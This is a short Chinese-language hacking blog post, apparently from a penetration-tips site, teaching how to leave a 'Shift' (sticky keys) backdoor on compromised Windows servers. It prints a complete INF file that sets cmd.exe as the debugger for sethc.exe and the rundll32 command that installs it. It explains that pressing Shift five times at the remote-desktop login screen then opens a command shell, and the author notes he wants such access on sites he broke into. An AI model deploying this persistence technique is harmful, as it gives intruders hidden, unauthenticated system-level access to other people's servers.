添加SHIFT后门又一法 学习如何查找后门
摘要：前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！将下面...
前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！
将下面的代码保存成inf文件
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution optionssethc.exe,debugger,0x00000000,c:windowssystem32cmd.exe
然后上传到一个可以执行目录，比如我这里上传到c:windowstempi.inf 然后在命令行执行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:windowstempi.inf
然后远程登录3389，按5下shift即可跳出cmd.exe
为什么要命令行？隐蔽性？大家自行掂量
【添加SHIFT后门又一法 学习如何查找后门】相关文章：
★ php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解
★ CLscript CMS v3.0多重缺陷的介绍及其修复方法
★ DreamNews Manager (id) Remote SQL Injection Vulnerability
★ Android平台的SQL注入漏洞浅析(一条短信控制你的手机)
上一篇：
SC.exe在渗透中的妙用
下一篇：
3389无法连接的5种原因分析